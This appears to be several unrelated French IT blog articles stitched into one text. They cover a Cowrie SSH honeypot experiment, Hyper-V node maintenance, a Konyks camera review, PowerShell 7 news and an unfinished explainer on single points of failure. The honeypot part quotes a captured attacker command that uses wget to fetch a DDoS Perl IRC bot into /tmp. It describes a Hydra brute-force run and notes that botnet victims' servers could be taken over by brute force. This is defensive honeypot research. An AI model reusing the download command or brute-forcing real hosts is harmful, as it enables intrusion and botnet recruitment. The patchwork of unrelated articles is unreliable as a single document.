I. Présentation

On se retrouve aujourd'hui pour un article qui va parler des Honey pot et notamment exposer leur utilisation dans un cas réel.

II. Le Honey Pot, un outil de sécurité défensive

Un Honey pot ou "Pot de miel" est un des éléments qui peut composer la structure défensive d'un système d'information, son rôle est d'attirer les attaquants, à l'image d'un pot de miel avec les abeilles.

Dans le jargon de la sécurité informatique, un Honey pot (en français, au sens propre « pot de miel », et au sens figuré « leurre ») est une méthode de défense active qui consiste à attirer, sur des ressources (serveur, programme, service), des adversaires déclarés ou potentiels afin de les identifier et éventuellement de les neutraliser. Source : https://fr.wikipedia.org/wiki/Honeypot

Le fonctionnement global d'un Honey pot est donc d’apparaître comme une machine faiblement protégée (vulnérable) sur le réseau afin qu'un attaquant puisse facilement la compromettre. Dès lors, une alerte peut être émise et des actions peuvent être effectuées par l'équipe de sécurité, par exemple :

• surveiller l'activité de l'attaquant ;
• collecter des informations sur ses outils, sa provenance, son mode opératoire ;
• analyser les informations collectées pour mieux se protéger, par exemple essayer de savoir ce que l'attaquant cherche sur le réseau (plutôt sabotage ? plutôt vol de données ?)

L'idée est donc de ralentir l'attaquant en le faisant attaquer un système qui n'héberge aucune données sensibles, mais aussi d'améliorer la défense du système d'information en piégeant l'attaquant et en étudiant ses actions. On peut par exemple essayer de détecter de quelle IP publique il provient pour l'ajouter dans notre blacklist au niveau de nos pare-feu frontaux, ou encore regarder quelles sont les techniques qu'il utilise pour élever ses privilèges et ainsi affiner nos règles de détection (antivirus, service auditd, SIEM, SOC, etc.).

Dans cet article, nous allons procéder à l'installation d'un Honey pot qui sera directement exposé sur Internet et étudier les différentes attaques dont il fait l'objet. Ce sera l'occasion de voir en conditions réelles son usage. Dans la réalité, un Honey pot peut être aussi bien installé en frontal d'Internet qu'à l'intérieur d'un système d'information bureautique, une DMZ, etc. L'idée est bien sûr qu'il attire l'attention de l'attaquant le plus tôt possible afin que des alertes soient émises.

Gardez cependant à l'esprit que le Honey pot est par définition facile à compromettre, il convient donc de strictement cloisonner et surveiller son activité, l'idée est qu'il ne facilite pas la tâche d'un attaquant trop longtemps, sinon sa mise en place est contre-productive.

III. Installation de Cowrie

Nous allons utiliser Cowrie, un Honey pot qui héberge un service SSH vulnérable. J'ai simplement suivi ce tutoriel pour l'installation basique de Cowrie : https://medium.com/threatpunter/how-to-setup-cowrie-an-ssh-honeypot-535a68832e4c

Pour la démonstration dans le cadre de l'article, j'ai loué un serveur chez ScaleWay et l'ai installé sur un serveur Debian. Je n'ai ici aucun risque de propagation d'une compromission puisque mon Honey pot est installé sur un système d'information autre que le mien (entendre : il n'est pas hébergé chez moi). La seule possibilité de compromission pourrait donc se faire lorsque je me connecte sur le Honey pot pour consulter les journaux qu'il produit, dans un contexte réel, il faut garder cela en tête et éviter de faire un pont direct entre votre SI d'administration et votre Honey pot largement compromis 🙂 . Bien sûr, cela impliquerait que l'attaquant ait réussi à s'extraire de l'émulation du Honey pot pour atterrir sur son système hôte (j'ignore si cela est possible).

Cowrie est un service HoneyPot de type Medium interaction, comprendre par là qu'il simule un service basique installé sur un système émulé basique lui aussi. L'idée est que l'attaquant parvienne à s’authentifier ou compromettre le service SSH et qu'il puisse effectuer quelques actions par la suite (tenter d'élever ses privilèges, etc.). Cowrie est donc un service qui va cloisonner l'attaquant afin que celui-ci puisse tenter quelques attaques, sans pour autant lui laisser trop de liberté.

Des services plus avancés existent, les High interaction, qui eux sont constitués de plusieurs services et serveurs vulnérables à la disposition des attaquants, ils sont en général beaucoup plus complexes et complets. L'idée ici est donc de renforcer le crédit du système Honey Pot aux yeux de l'attaquant pour qu'il s'expose le plus possible, qu'il divulgue un maximum ses techniques et qu'il soit le plus ralenti possible afin de laisser le temps aux équipes de sécurité de réagir, voire de contre-attaquer.

Enfin, les systèmes Low interaction présentent des services très faiblement utilisables, ils restent exploitables et ont pour but de collecter des informations sur l'attaquant en lui donnant le moins de liberté possible, un simple service netcat en écoute sur un port TCP/23 (telnet) peut être qualifié de Honey Pot Low interaction.

IV. Étude des journaux Cowrie

Une fois mon serveur installé, j'attends quelques instants que les premières attaques arrivent, et cela ne tarde pas. Mon service SSH est en effet en écoute sur le port TCP/22, des milliers de robots passent leur temps à scanner Internet à la recherche de services vulnérables. C'est notamment le cas récemment avec les services RDP suite à la publication d'exploits sur ce service (BlueKeep - CVE-2019-0708). Pour les accès SSH, ces mêmes robots essaient quelques mots de passe basiques et regardent, grâce au banner grabbing , si certaines versions vulnérables des services SSH sont utilisées. Quelques minutes après son installation, les premiers logs arrivent :

Nous voyons ici que beaucoup de mots de passe triviaux sont tentés par les robots. Ce type de couple login/mot de passe sort probablement tout droit de la première wordlist venue. Pensez donc à les ajouter dans vos listes HoneyWord (Voir cet article : Les mots de passe HoneyWords, c'est quoi ?).

Le service SSH proposé par Cowrie est particulier, celui-ci journalise toutes les tentatives d'authentification, mais y intègre également le mot de passe saisi par l'attaquant (ce qui n'est pas le cas du service SSH standard bien entendu). Les plus attentifs remarqueront que plusieurs "attempt succeeded" apparaissent pour les tentatives de connexions avec l'utilisateur root. En effet, le service SSH Cowrie accepte plusieurs mots de passe valides pour un même compte (et faibles en plus ...). Encore une fois, l'idée est d'avoir un service faiblement protégé afin de piéger l'attaquant, peut importe donc quel mot de passe il utilise.

La majorité des journaux d’événements de Cowrie contiennent ce type d'informations. Lorsqu'une authentification réussit, la plupart du temps, le robot qui effectue cette authentification se déconnecte immédiatement.

Je pense qu'il s'agit du comportement standard d'un robot, qui n'effectue que du référencement. Lorsqu'il parvient à s'authentifier avec un couple login/mot de passe, il stocke cette information pour que son propriétaire effectue plus tard une connexion et une recherche plus avancée.

Certains robots effectuent cependant des premières actions de découverte, notamment avec la commande uname qui permet de récupérer la version du système d'exploitation et du kernel en cours d'utilisation :

Ces premières actions servent, je pense, à savoir rapidement si le serveur visé est vulnérable à des exploits d'élévation de privilèges ou s'il est à jour (uptime) par exemple. Un serveur ayant une dernière version de Debian avec une uptime de 10 minutes est certainement moins intéressant qu'un serveur avec une version obsolète et une uptime de 3 ans et demi.

Enfin, Cowrie peut s'interfacer avec des SGBD, et des solutions d'analyses de logs telles que Splunk ou ELK. Le but est d'obtenir, par exemple, des statistiques sur le nombre d'attaques par jour ou par mois et potentiellement de mettre en avant des piques d'activité. N'ayant pas ce type de système sous la main, je n'ai pas pu tester ce point.

Pour information, au bout de 2 jours d'activité de mon Honey pot SSH, je constate 14201 tentatives de connexion dont 13405 fructueuses (forcément, quand on accepte tous les mots de passe ... :p ). Cela vous donne une idée de l'activité tout de même intense des robots de brute force de service SSH :

root@scw-competent-greider:/home/cowrie/cowrie/var/log/cowrie# cat cowrie.log |grep "login attempt" |wc -l
14201
root@scw-competent-greider:/home/cowrie/cowrie/var/log/cowrie# cat cowrie.log |grep "succeed" |wc -l
13405

V. Démarche de l'attaquant, comment repérer un HoneyPot SSH ?

Nous allons maintenant nous mettre dans la peau de l'attaquant qui trouve, par chance ou à force de patience, un service SSH faiblement protégé. Comment détecter que nous sommes sur un système Honey pot ?

Je commence donc, en suivant une démarche classique, par effectuer un scan réseau sur ma cible :

Deux services SSH et rien d'autres ? Voilà qui est étrange. Dans un cas réel, il conviendrait d'avoir un serveur qui paraisse un peu plus légitime (avec des services métier) et d'éviter d'exposer publiquement le service SSH légitime (ici sur le port TCP/2022), qui sert, lui, à l'accès d'administration du véritable hôte.

Je remarque que le service SSH est ouvert sur internet, sur son port par défaut, et que celui-ci accepte l'authentification par mot de passe, ce qui constitue déjà un bon enchainement de mauvaises pratiques. La version d'OpenSSH affichée ne trahit pas la présence d'un Honey pot. J'entame donc une attaque par brute force pour le compte "root" :

<script width="100%" id="asciicast-HR4xDJqBlPIZv17c9Yvi9ihXh" src="https://asciinema.org/a/HR4xDJqBlPIZv17c9Yvi9ihXh.js" async="">

J'utilise ici l'outil Hydra pour effectuer une attaque par brute force sur le mot de passe de l'utilisateur "root". Hydra arrête son exécution dès qu'il trouve une combinaison correcte (au premier essai). Mais lorsque je passe à 4 threads, Hydra envoie 4 tentatives d'authentification en même temps et trouve alors 4 combinaisons correctes, ce qui est anormal. Ce comportement peut donc trahir l'existence d'un Honey pot qui accepterait tous les mots de passe proposés. Cependant, il est rare de configurer les outils d'attaques pour qu'ils ne s'arrêtent pas dès le premier essai fructueux. Après m'être authentifié, je tombe sur un système Linux plutôt standard, mais qui est en fait émulé :

<script width="100%" id="asciicast-c4zUktMQj99DjzqXFzfimjK8p" src="https://asciinema.org/a/c4zUktMQj99DjzqXFzfimjK8p.js" async="">

Sur ces premières commandes, rien ne permet de soupçonner un Honey pot, le système parait bien entendu totalement vide (de service, de fichier prouvant une activité particulière), mais la structure de l'OS Linux et les commandes qui vont avec sont bien présentes. Je peux même initier des connexions vers l'extérieur et créer des fichiers sur le système :

Ceux-ci sont néanmoins supprimés dès ma déconnexion. Il existe probablement plusieurs moyens de savoir que l'on est dans un environnement émulé. Le constat de suppression d'un fichier après déconnexion et la possibilité de se loguer avec plusieurs mots de passe paraissent être des choses simples, mais ce ne sont pas les premières opérations que l'on pense à mener lorsque l'on compromet un système.

VI. Capture et étude d'un programme malveillant

Après plusieurs heures d'attente, je détecte plusieurs commandes de téléchargement et d'exécution d'un programme perl dans les logs produits par Cowrie :

Le fait que la même commande soit présente plusieurs dizaines de fois indique qu'il ne s'agit pas de l'action d'un humain, mais plutôt d'un robot. Celui-ci ne s'est toutefois pas contenté d'une authentification réussie, il a tenté de télécharger et d'exécuter un programme perl avec la commande suivante :

uname -a; cd /tmp; wget https://transfer.sh/ejjab/real.txt

Ses actions ayant été journalisées, je peux facilement récupérer ce programme et connaitre les moyens utilisés par l'attaquant (ici le site transfert.sh par exemple). Je récupère au passage le contenu du script :

Son titre est "DDoS Perl IrcBot", il s'agit visiblement d'un script trouvé sur internet. On peut trouver un code équivalent ici par exemple : dépôt Github

Il s'agit donc vraisemblablement d'un script qui permet la constitution d'un botnet dirigé par un canal IRC en vue de déclencher des attaques par déni de service. En toute logique, le script génère une connexion vers un canal IRC qui est ensuite utilisé pour suivre des ordres donnés par le propriétaire du botnet. On peut voir que lors de sa connexion, le script s'assigne aléatoirement un pseudo :

my $ircname = $rircname[rand scalar @rircname];

On identifie rapidement le serveur sur lequel se connectent les membres de ce botnet :

L'analyse du code source permet également d'en savoir plus sur les actions possibles du botnet :

On voit ici par exemple qu'il peut être utilisé pour faire du scan de port, des attaques DoS (Denial of Service) sur de l'UDP ou du TCP, de l'envoi de mail, du téléchargement de fichier, etc.

Je parviens au bout de plusieurs essais à me connecter au serveur du botnet, qui est assez désert. Les deux channels proposés ne possèdent pas plus de 20 utilisateurs connectés :

Les utilisateurs connectés sont bien des bots issus du script que j'ai récupéré, je parviens à reconnaitre certains des noms provenant de la fonction du choix aléatoire de pseudo :

Chose intéressante, je peux découvrir l'adresse IP des serveurs compromis grâce à la fonction de recherche d'informations proposée par IRC :

Un rapide scan nmap sur ces IP me confirme qu'elles ont toutes un port TCP/22 (SSH) en écoute, je n'ai donc plus qu'à effectuer moi aussi une attaque par brute force sur des couples login/mot de passe simples pour en prendre le contrôle. Je pourrais aussi en profiter pour supprimer ce script perl, mais sans changement de mot de passe, il reviendrait aussi vite que sur mon Honey pot (c'est à dire en quelques minutes) :

Je décide d'arrêter ici mes investigations sur le serveur IRC sous peine d'être pris pour son propriétaire. En effet, le script utilisé peut agir à la fois comme client, mais aussi comme serveur, qui transmet d'ailleurs ses ordres par messages privés :

Pour aller plus loin dans les investigations, il faudrait attendre que de nouveaux bots arrivent et que le propriétaire déclenche des attaques. Pour cela, il serait probablement obligé de se connecter au canal IRC, et donc de révéler son adresse IP (probablement tunnelisée...).

C'est tout pour cet article, j'espère qu'il vous aura intéressé. Beaucoup de choses intéressantes peuvent être faites avec un Honey pot , bien qu'il ne m’ait jamais été donné d'en croiser lors de mes audits (ou alors je n'étais pas au courant 🙂 ). N'hésitez pas à partager vos expériences sur le sujet dans les commentaires.

I. Présentation

L'intérêt d'avoir un cluster Hyper-V, sous réserve qu'il soit bien dimensionné, c'est que l'on peut se permettre une opération de maintenance sur un nœud sans arrêter la production. Dans ce tutoriel, je vais vous montrer comment mettre un hôte "en mode maintenance" pour pouvoir intervenir dessus sereinement. Il n'est pas question de faire les interventions à l'arrache 🙂

Mettre un nœud en maintenance, cela signifie que toutes les VM qu'il héberge vont devoir être déplacées dynamiquement vers un autre nœud du cluster. Vous devez donc vous assurer que le nœud de destination ait suffisamment de ressources. Dans le cadre d'un cluster sous Windows, nous allons de drainage des rôles.

II. Procédure

Sur un nœud de votre cluster, autre que celui qui va rentrer en maintenance, voire même sur un serveur d'administration... Ouvrez la console "Gestionnaire du cluster de basculement". Ensuite, accédez à "Nœuds" sur la gauche.

Sur la partie droite de la console, vous devez voir vos différents nœuds. Pour mettre un nœud en mode maintenance, effectuez un clic droit sur son nom, et sous "Pause" cliquez sur "Drainer les rôles".

Attention : cette action va automatiquement déclencher les migrations dynamiques, c'est-à-dire que la charge de cette hôte (VM) va être transférée vers les autres nœuds du cluster.

Si vous retournez dans la partie "Rôles" de la console, vous verrez d'ailleurs le message "Migration dynamique en cours" sur certains ordinateurs virtuels.

Lorsqu'il n'y a plus d'opération en cours, vous pouvez intervenir sur le nœud en maintenance sans problème : le redémarrer ou autre, sans problème. Il est à noter que même après redémarrage, il restera toujours en mode maintenance.

Le retour arrière, une fois que la maintenance est terminée, doit s'effectuer manuellement.

Il suffit de retourner dans la partie "Nœuds" au sein de la console. Effectuez de nouveau un clic droit sur le nœud à remettre en production, puis, sous "Reprendre" cliquez sur "Restaurer les rôles". Le fait de restaurer les rôles va faire en sorte qu'il récupère ses VM. L'autre option le remet en service au niveau du cluster mais sans lui réaffecter ses ressources.

💡 Si vous avez besoin de mettre en oeuvre un cluster Hyper-V, suivez notre tutoriel à ce sujet. Pour la gestion des mises à jour Windows sur un cluster Hyper-V, nous avons également un article à ce sujet.

I. Présentation

Dans la continuité des tests précédents, je vais vous présenter, au travers de cet article, un autre produit de chez Konyks : la caméra motorisée Konyks Camini+.

Sortie tout droit de La French Tech, Konyks propose à ce jour deux modèles de caméras : Camini et Camini+ mais le premier modèle n'est plus proposé au sein de la boutique Konyks, même si on le retrouve sur les boutiques d'e-commerce habituelles. La volonté est clairement de se tourner vers la caméra Camini+ et cela tombe bien puisque c'est d'elle que nous allons parler aujourd'hui.

📌 Retrouvez nos tests Konyks

Voici les caractéristiques techniques :

• Résolution : 1080p - Full HD
• Connectivité au Wi-Fi 2.4 GHz (802.11 b/g/n)
• Angle de vision de 80°
• Enregistrement sur carte microSD - jusqu'à 64 Go
• Rotation motorisée verticale jusqu'à 110°
• Rotation motorisée horizontale jusqu'à 355°
• Microphone et haut-parleur intégrés
• Vision de nuit par LED IR
• Alimentation 5V DC - 1A
• Poids : 170 grammes

Comme les autres objets connectés de chez Konyks, la caméra est également pilotable à distance via le réseau 4G ou depuis son domicile à partir d'une connexion Wi-Fi. Je ne vous en dit pas plus, découvrons tout cela ensemble...

Note : il est à noter que la caméra Camini, contrairement à la Camini+, n'est pas motorisée donc elle ne permet pas le suivi de mouvements. Elle est Full HD, dispose d'un micro et d'un haut-parleur comme sa petite sœur.

 

II. Package et design

Les caractéristiques techniques citées précédemment sont inscrites directement sur la boîte, ce qui est pratique pour en savoir plus sur le produit avant de l'acheter. Nous retrouvons également des informations sur les fonctionnalités de la caméra, sur lesquelles nous reviendrons après. Les différents éléments sont emballés dans des sachets en plastique individuel.

Dans la boîte, nous retrouvons les éléments suivants :

• La caméra Camini+
• Un manuel d'utilisation en plusieurs langues, dont le français bien sûr
• Un chargeur USB
• Un câble USB (2 mètres)
• Un support pour fixer la caméra au mur
• Deux chevilles et deux vis pour la fixation

Lorsque l'on regarde la caméra de face, on aperçoit son optique, avec autour le micro ainsi que le dispositif de vision nocturne. A la base de la caméra, on retrouve la mention "Konyks". Sur l'avant, si l'on oriente vers le haut la tête rotative de la caméra, cela donne accès au slot microSD, une carte qui par ailleurs n'est pas fournie. La tête s'oriente de bas en haut, et inversement, afin d'assurer la rotation verticale de la caméra.

A l'arrière, nous retrouvons le haut-parleur dans le haut de la caméra, et dans le tout bas, nous avons le connecteur micro-USB pour l'alimentation ainsi qu'un bouton pour réinitialiser l'appareil. Il ne s'agit pas d'un bouton pour allumer ou éteindre la caméra, je me suis fait avoir comme un bleu : je suis resté appuyé dessus et j'ai remis à zéro la caméra.

La rotation horizontale de la caméra s'effectue au niveau de la partie basse (toute la partie blanche en fait) et le socle gris reste fixe. La rotation étant jusque 355°, la caméra ne fera pas de tour complet sur elle-même, lorsqu'elle arrivée en butée, elle doit refaire le chemin inverse pour atteindre l'opposé.

Le design de la caméra est original, elle me fait légèrement penser à un modèle de chez Xiaomi, en plus fine. En blanc ça reste élégant et passe partout, la base qui est grise quant à elle ressort bien et est assortie à la mention Konyks. L'ensemble est homogène.

III. Initialisation de la caméra

L'initialisation de cette caméra n'est pas plus compliquée que les autres appareils de chez Konyks : on branche, on attend que l'appareil démarre et ensuite on réalise une recherche depuis l'application Konyks. Tout cela est bien expliqué dans la notice, en français, ainsi que la procédure de réinitialisation si besoin.

Lorsque la caméra démarre, il y a une sonorité de quelques notes qui se déclenche au bout de 20 secondes environ, et ensuite elle émet deux bips pour signaler qu'elle est en mode association. Les deux bips vont continuer à retentir plusieurs fois par minute tout le temps que l'initialisation n'est pas réalisée.

Ce qui nous donne quelques étapes, assez rapide à effectuer. Comptez maximum 5 minutes pour l'initialisation 😉

Concernant le chargeur, il dispose des caractéristiques suivantes :

• Entrée : 100-240V - 50/60 Hz / 0.15A
• Sortie : 5V - 1000 mA

D'ailleurs, dommage que ce ne soit pas un port USB-C pour l'alimentation de la caméra.

IV. Utilisation de la caméra au quotidien

Toujours au sein de l'application, on peut accéder à la caméra Camini. Cet accès offre plusieurs possibilités :

• Visualiser en direct l'image de la caméra : en HD, en SD, en plein écran ou en miniature, et l'on peut également activer l'audio pour entendre ce qui se passe chez soi. La qualité du signal Wi-Fi est également indiquée. On peut zoomer sur l'image d'un simple mouvement de doigt comme on le fait pour zoomer sur une photo sur son smartphone
• Piloter à distance la caméra grâce à la télécommande virtuelle intégrée à l'application
• Réaliser une copie d'écran, un enregistrement à distance, ou parler au travers de la caméra
• Accéder à l'historique des alarmes de la caméra

Lorsque l'on ouvre l'application, la visualisation de la caméra en direct s'affiche dans le haut de l'écran, sur la partie basse on retrouve des boutons d'accès rapides aux fonctionnalités. Grâce au bouton en bas à droite de la vignette, l'affichage peut bascule en mode paysage et donc en plein écran. Lorsque l'on visualise le live, à noter un très léger décalage entre la réalité et l'image sur l'application, sans que ce soit gênant mais j'imagine que cela dépend aussi de la qualité de la connexion Internet (très juste chez moi).

Les mouvements de la caméra, initié par la fonctionnalité de suivi des mouvements ou la télécommande manuelle, sont silencieux. Cela me semble important de le signaler car l'activation du mécanisme de rotation aurait pu générer un bruit désagréable.

Bien entendu, l'application sert également à configurer la caméra, et elle permet aussi d'avoir accès à une vue multiple pour afficher plusieurs caméras Konyks à l'écran et faciliter le pilotage sans devoir switcher complètement dans l'application. Il est à noter que l'application est entièrement en français et sans publicité.

En appuyant sur l'icône en forme de crayon en haut à droite, on accède au panneau de configuration de la caméra. Les paramètres suivants sont proposés :

1 - Gestion de l'audio

Par défaut, la communication s'effectue de façon unidirectionnelle, c'est-à-dire que vous pouvez parler, et ensuite on peut vous parler au travers de la caméra. Autrement dit, les deux ne peuvent pas parler/s'entendre en même temps, mais l'audio bidirectionnel est activable dans les options. En fonction de la qualité de votre connexion à Internet, vous pouvez activer ou non cette option puisque cela nécessite une bande-passante plus importante.

2 - Gestion des détections et des alarmes

Par défaut, la caméra n'enverra pas d'alertes lorsqu'un mouvement est détecté. Cela s'active et se configure via l'option "Alarme de détection de mouvement", ce qui débloque l'accès à des sous-options :

• Gestion de la sensibilité (trois niveaux)
• Suivi de mouvement afin d'exploiter la rotation automatique de la caméra
• Plages horaires de détection

La dernière option est très intéressante puisque cela permet de spécifier les plages horaires sur lesquelles la caméra activer le mode de détection. Sinon, lorsque vous serez à votre domicile, les alertes seront nombreuses d'autant plus qu'il n'y a pas de reconnaissance de visages. Le planning, si vous souhaitez l'ajuster au maximum, contiendra plusieurs actions pour activer ou désactiver la détection (exemple ci-dessous).

Les enregistrements sont consultables directement depuis l'application, sous la vignette s'affiche une barre qui représente la chronologie. Les zones en gris représentent les moments où il y a des événements, il suffit de se positionner sur l'événement pour visualiser l'enregistrement vidéo correspondant. Il est possible de récupérer l'enregistrement sur votre smartphone en appuyant sur le bouton "Enregistrer". Pour visualiser les enregistrements d'une date antérieure, il suffit d'appuyer sur le bouton "Date" et de sélectionner le jour souhaité. C'est simple d'usage.

3 - Gestion de la carte mémoire

Si vous insérez une carte microSD dans la caméra, il faudra penser à la formater via l'application Konyks. C'est également à cet endroit qu'il faudra configurer l'enregistrement : à savoir l'enregistrement continu ou seulement sur événement. Si vous choisissez l'enregistrement continu, cela va fortement solliciter la carte mémoire et réduire sa durée de vie. Je n'ai pas trouvé cela très intuitif de retrouver cette partie de la configuration dans la gestion de la carte microSD en elle-même.

Enfin, à noter également une fonction pour inverser l'image, c'est-à-dire réaliser une rotation de 180° : pratique en fonction de comment elle est fixée.

Lorsque les notifications sont activées, elles vont arriver directement sur votre smartphone ou votre tablette. Si vous appuyez sur une notification, vous êtes automatiquement envoyé vers l'application Konyks où il y a une copie d'écran de la détection, avec la possibilité de rentrer dans les détails de l'alertes. De manière générale, retrouvez les alertes dans le centre de messagerie de l'application.

Qui du stockage des enregistrements ?

Les enregistrements vidéos de la caméra peuvent être stockés en local directement sur la caméra, sur la microSD que vous pouvez insérer.

Sinon, Konyks propose le stockage dans le Cloud des enregistrements au travers d'un service payant nommé "Video Cloud Storage". Ce service est proposé au tarif mensuel de 3,99 euros pour accéder aux enregistrements des 14 derniers jours. Pour accéder à un historique sur 1 mois, il faudra débourser 8,99 euros par mois. Si vous prenez directement un abonnement annuel, vous économisez l'équivalent de deux mois.

Malheureusement, il n'y a pas d'autres alternatives. Personnellement, j'aurais apprécié pouvoir envoyer les enregistrements sur un serveur FTP. Cela n'est pas proposé, soit c'est sur la carte microSD ou soit c'est sur le service Cloud.

Si vous n'insérez pas de carte mémoire ou que vous ne prenez pas l'abonnement Cloud, le seul moyen de réaliser un enregistrement c'est d'utiliser l'application Konyks et de déclencher un enregistrement depuis l'application. Cela va enregistrer la séquence sur votre smartphone directement.

V. Conclusion

Sur les finitions et l'aspect général de la caméra, il n'y a rien à redire, Konyks nous livre un produit de qualité. Au niveau de la conception, il y a seulement le bouton à l'arrière qui est intriguant car en fait il sert à réinitialiser la caméra et non l'allumer ou l'éteindre. J'en profite aussi pour vous rappeler qu'il n'y a pas de port USB-C mais l'éternel micro-USB.

Le capteur de la caméra est bon lui-aussi, l'image est bien nette grâce au capteur Full HD, ce qui permet d'envisager de zoomer légèrement quand cela est nécessaire. De nuit, la vision nocturne est bonne également, c'est une bonne nouvelle !

Pour l'utilisation quotidienne, je trouve que l'application de Konyks est vraiment simple et ergonomique. Il y a peu de temps à passer au début pour préparer la configuration, notamment la partie détection et les plages horaires sur lesquelles elle doit être active. Le gros point noir au niveau de l'application c'est qu'on ne puisse pas envoyer les enregistrements vers un NAS via FTP (ou autre), on est cantonné à l'utilisation de la microSD ou du service Cloud payant. Une fois que votre configuration est prête, il ne reste plus qu'à profiter de l'application pour regarder à distance ce qu'il se passe chez vous ou pour visualiser les événements enregistrés. Pour aller encore plus loin, si vous avez d'autres appareils Konyks comme un détecteur d'ouverture/fermeture, vous pouvez coupler l'utilisation des appareils avec les scénarios.

Alors qu'elle était vendue 59,99 euros à sa sortie, son prix est descendue à 49,99 euros sur Amazon : une bonne nouvelle pour le porte-feuille. Une bonne nouvelle aussi car à ce prix la caméra Konyks Camini+ propose un rapport qualité/prix intéressant.

Microsoft a publié une nouvelle version majeure de PowerShell qui est marquée par le passage de .NET Core 2.x à 3.1, ce qui apporte une compatibilité beaucoup plus importante avec les modules PowerShell existants. PowerShell 7 est dès à présent disponible pour Windows, mais aussi Linux et MacOS.

Cette nouvelle version est également la fin de l'appellation PowerShell Core, nous sommes bien maintenant sur PowerShell 7, la solution de scripting multi-plateforme de Microsoft, qui reste distincte malgré tout de Windows PowerShell. Pour rappel, Windows PowerShell est la version exclusive à Windows et qui s'appuie sur le .NET Framework, lui aussi exclusif à Windows : les deux versions devraient continuer se rapprocher au fur et à mesure des versions.

En terme de support, PowerShell 7 va profiter d'un support long-term servicing (LTS), soit 3 ans de support à compter du 3 décembre 2019. Pourquoi cette date de début ? Tout simplement parce qu'il s'agit de la date de la sortie de .NET Core 3.1.

PowerShell 7 prend en charge de nouveaux éléments, notamment des modules PowerShell livrés avec Windows, et il supporte également des éléments graphiques comme Out-GridView et Show-Command. Par ailleurs, la parallélisation du pipeline via "ForEach-Object -Parallel" est supportée, tout comme les opérateurs suivants : || - && - ?? - ??=

Microsoft a introduit le paramètre "-UseWindowsPowerShell" au cmdlet "Import-Module" pour faciliter le switch entre PowerShell 7 et Windows PowerShell dans le cas où le module n'est pas encore compatible avec PowerShell 7.

Pour être plus précis, voici les systèmes d'exploitation supportés par cette nouvelle version de PowerShell :

- Windows 7, Windows 8.1 et Windows 10
- Windows Server 2008 R2, 2012, 2012 R2, 2016 et 2019
- MacOS 10.13 et versions ultérieures
- Linux : RHEL/CentOS 7 et Fedora 29, mais aussi Debian 9 et Ubuntu 16.04, ainsi qu'openSUSE 15 et Alpine Linux 3.8, et toutes les versions ultérieures de ces distributions

Microsoft précise également que les paquets sont disponibles pour Kali Linux et Arch Linux, bien que ce ne soit pas officiellement supporté. Par ailleurs, les versions de Debian pour ARM32 et ARM64 sont prises en charge.

Pour en savoir plus : Annonce officielle PowerShell 7
Pour le téléchargement sur GitHub : Télécharger PowerShell 7

I. Présentation

Dans ce billet, nous allons nous pencher sur le terme SPOF, qui est l'anagramme de Single Point of Failure. SPOF peut être traduit en français par point individuel de défaillance. Nous allons également voir en quoi les SPOF sont importants dans le domaine de la sécurité. J'ai eu envie de rédiger un billet à ce propos après avoir visionné la conférence "JCSA2012 - Tutoriel Stéphane Bortzmeyer "Sécurité des noms de domaine" dans laquelle ce dernier parle brièvement des SPOF DNS.

II. Single Point Of Failure

Un point individuel de défaillance est, comme son nom l'indique, un point qui peut être identifié dans une infrastructure ou une architecture donnée comme étant critique pour cette infrastructure dans le cas où celui-ci vient à défaillir. Ce n'est pas un concept propre aux architectures informatiques, tous les autres domaines mettant en place des réseaux au sens infrastructure sont déjà bien familiers avec ce concept et depuis plus longtemps que dans le domaine informatique, par exemple pour les réseaux de gaz, d’électricité, d'eau ou encore les réseaux routiers.

Le principe d'identification d'un point réseau comme étant un SPOF est celle d'un point où tout finit par passer et qui est critique pour l'infrastructure. Entendre par là qu'aucun autre moyen de fournir un service ou de joindre une partie d'un réseau ou d'Internet n'est possible si ce point tombe en panne. La définition, plus ou moins officielle, est la suivante :

Tout élément de configuration pouvant causer un incident lorsqu’il tombe en panne, et pour lequel une contre-mesure n’a pas été implantée. Un point de défaillance unique peut tout aussi bien être une personne, ou une étape d’un processus ou d’une activité, qu’un composant d’une infrastructure informatique.

Plus simplement, un SPOF est un endroit où si ce point tombe, tout le reste tombe également.

III. Savoir les identifier

On parle souvent de "maillon faible de la chaîne" lorsque l'on met en avant un SPOF, car c'est en effet une partie du réseau qui peut être identifiée comme particulièrement vulnérable et mettant en danger le reste de l'infrastructure selon son importance et son rôle. Voici un schéma simplifié d’infrastructure réseau que nous allons utiliser dans un premier temps :

Ici, on voit que certains éléments sont redondés sur le réseau, néanmoins, on remarque qu'un seul point est utilisé pour aller sur Internet, si ce point tombe, aucun autre n'est présent pour prendre le relais, le SPOF dans ce schéma est donc le routeur qui lie le LAN à Internet. Ce qui est intéressant, c'est que les SPOF ne sont pas spécifiques aux réseaux, il faut avoir un point de vue général du SI pour essayer d'identifier tous les SPOF possibles... Les SPOF peuvent être identifiés tout au long d'une chaîne de traitement ou de circulation d'un flux, c'est ce qui fait que les SPOF requièrent une attention particulière au sein des SI ainsi qu'une connaissance précise de ceux-ci. Pour illustrer le contournement d'un SPOF, voici la dernière carte parue identifiant les câbles réseau sous-marins reliant les différents continents entre eux au niveau d'Internet.

Bien que l'on puisse identifier des points névralgiques comme à New York ou en Égypte où beaucoup de câbles passent, on voit ici qu'aucun SPOF ne peut être identifié facilement, plus clairement, si un câble tombe ou vient à être défaillant, il est possible de repasser par un autre chemin pour joindre notre cible. Pour être plus familiers avec les SPOF, nous allons essayer d'identifier des endroits où les SPOF sont fréquents.

• Comme nous l'avons identifié plus haut dans notre schéma, un SPOF réseau va être un endroit dans l'architecture réseau où tout ou partie des flux vont passer sans avoir de chemin secondaire. Il s'agit le plus souvent d'un chemin situé dans le cœur du réseau ou vers Internet (routeur, passerelle ou pare-feu).
• Sur un serveur, il est possible d'identifier plusieurs SPOF qui sont le plus souvent physiques, on peut par exemple prendre l'alimentation qui est parfois unique sur les petits serveurs, mais systématiquement en double sur les serveurs un peu plus costauds. Quand une double alimentation est mise, il faut être attentif à ne pas brancher les deux sur la même source d'énergie, mais à bien avoir deux circuits électriques différents et indépendants de bout en bout. Également, une liaison câblée en Ethernet entre un switch et un serveur peut être identifiée comme un point de défaillance unique, on peut alors imaginer mettre deux câbles vers deux switchs différents.
• Il peut être intéressant d'avoir plusieurs serveurs qui sont en redondance les uns par rapport aux autres, seulement si ces serveurs sont sur le même rack ou dans la même salle, il est fort possible qu'une coupure d’électricité ou qu'une coupure réseau affecte tous les serveurs en même temps, rendant inutile la redondance mise en place.
